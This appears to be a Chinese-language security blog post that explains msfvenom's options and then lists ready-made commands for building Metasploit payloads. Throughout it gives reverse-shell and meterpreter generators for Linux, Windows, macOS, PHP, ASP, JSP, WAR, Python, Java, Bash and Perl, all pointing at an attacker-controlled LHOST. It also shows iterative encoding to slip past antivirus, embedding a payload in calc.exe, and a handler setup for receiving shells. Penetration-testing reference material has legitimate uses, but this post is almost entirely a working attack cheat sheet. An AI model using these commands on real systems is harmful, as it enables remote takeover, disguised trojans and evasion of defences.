SOCSEC

Metasploit生成payload的方法总汇

在Metasploit生成payload的命令是:msfvenom,在介绍metasploit生成payload的方法之前,先来介绍下这个命令。

命令介绍:

在kali的命令行中输入msfvenom -h就会显示其用法:

翻译如下:
msfvenom命令行选项如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Options:
-p, --payload payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled length 为payload预先指定一个NOP滑动长度
-f, --format format 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch architecture 指定payload的目标架构
--platform platform 指定payload的目标平台
-s, --space length 设定有效攻击荷载的最大长度
-b, --bad-chars list 设定规避字符集,比如: '\x00\xff'
-i, --iterations count 指定payload的编码次数
-c, --add-code path 指定一个附加的win32 shellcode文件
-x, --template path 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out path 保存payload
-v, --var-name name 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

生成payload,有两个必须的选项:-p -f
-p: 指定要使用的payload,可以使用如下命令查看可用的msf的payload列表:
msfvenom -l payloads
-p选项也支持使用使用自定义的payload,需要使用 “-”,比如:

1
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

使用-f 来指定payload的输出格式

1
./msfvenom -p windows/meterpreter/bind_tcp -f exe

使用下面的命令,可以产看msf支持的输出格式

1
./msfvenom --help-formats

一个典型的msfvenom使用举例如下:

1
./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

对payload进行编码
如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
其他情况下,你需要使用-e选项来使用编码模块,例如:

1
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

可以使用下面的命令,来查看可用的编码器

1
./msfvenom -l encoders

你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。
可以使用下面的命令来进行迭代编码:

1
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

规避字符
使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:

1
./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

使用自定义可执行文件模板
默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:

1
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。
注意:如果你想要创建一个windows的x64的可执行文件模板来生成一个x64的payload,你只能使用exe格式的模板。
使用-x选项经常和-k选项配合使用,-k选项会将你的payload作为一个新的进程运行。但目前这个选项只支持老版本的windows系统比如windows xp

payload生成方法

下面介绍使用与不同平台的payload生成方法:

Binaries

Linux:

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac:

1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
1
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

1
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Java

1
msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -t jar > java_meterpreter_reverse_tcp.jar

Bash

1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

1
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

1
2
3
4
5
6
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘